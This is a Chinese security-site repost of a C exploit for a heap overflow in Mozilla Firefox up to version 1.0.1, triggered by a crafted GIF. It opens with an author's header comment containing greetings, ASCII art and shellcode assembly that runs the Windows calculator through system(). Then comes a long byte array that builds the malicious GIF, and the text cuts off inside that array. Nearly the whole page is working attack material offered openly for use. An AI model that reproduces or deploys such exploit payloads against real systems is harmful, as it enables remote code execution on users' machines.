首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 安全知识 > Mozilla Firefox
【标  题】:Mozilla Firefox
【关键字】:Mozilla,Firefox
【来  源】:http://blog.chinaunix.net/article.php?articleId=34646&blogId=2056

Mozilla Firefox

Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit

/*

Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit

by Darkeagle of uKt Researcherz
darkeagle [at] linkin-park [dot] cc

greetz to all my friends }8{)

and... Happy Birthday uKt research team }8{) 1 year }8{)

http://unl0ck.org

!!!-script kiddie edition-!!!

^^^^^^^^^^^^^^^^^^^^
U U k kk ttttttt
U U k k tt
U U k kk tt (c) '04-'05 55k7 researcherz
UUU k kk tt
^^^^^^^^^^^^^^^^^^^^^^^^^

successfully tested on: Notebook LogyCom Expert Intel Pentium IV 2.8 Ghz, 256RAM,
40GB, 64mb Video SiS, WinXP SP1 RuS Pirated Edition
exploit calls Standart Windows Calculator

shellcode:

-----------------------
xor eax, eax
push eax
push 0x636c6163 ; calc
push esp
pop ebx
push eax
push ebx
mov ecx, 0x77c18044 ; moved system() in %ecx
call ecx ; call system()
-----------------------

btw c0wZ happy birthday }:@

,-"""-,
)~ ~( ------------------------------------------------
.-'( )`-, | m00[ov3r]: |
`~o`d\ /b`o~` | "i would drop you if you'll release exploit" |
| | | |
(6___6) | hahaha m00 wanna ownZ j00 <:@ |
`--U` | |
------------------------------------------------


*/

#include <stdio.h>
#include <string.h>
#include <windows.h>

#define FILENAME "firesnake.gif"

unsigned char data1[] = {
0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x10, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0x0B,
0x4E, 0x45, 0x54, 0x53, 0x43, 0x41, 0x50, 0x45, 0x32, 0x2E, 0x30, 0x55, 0x02, 0x00, 0x10, 0x00,
0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x07, 0x02, 0xF8, 0xFF, 0xFF, 0xFF, 0x41, 0x41, 0x64, 0x02, 0x14, 0x00, 0x00, 0x00, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x42, 0x42, 0x60, 0x00, 0x90, 0x00, 0x42, 0x42, 0x42,
0x42, 0x30, 0x02, 0x02, 0x00, 0x00, 0xE0, 0xFD, 0x7F, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
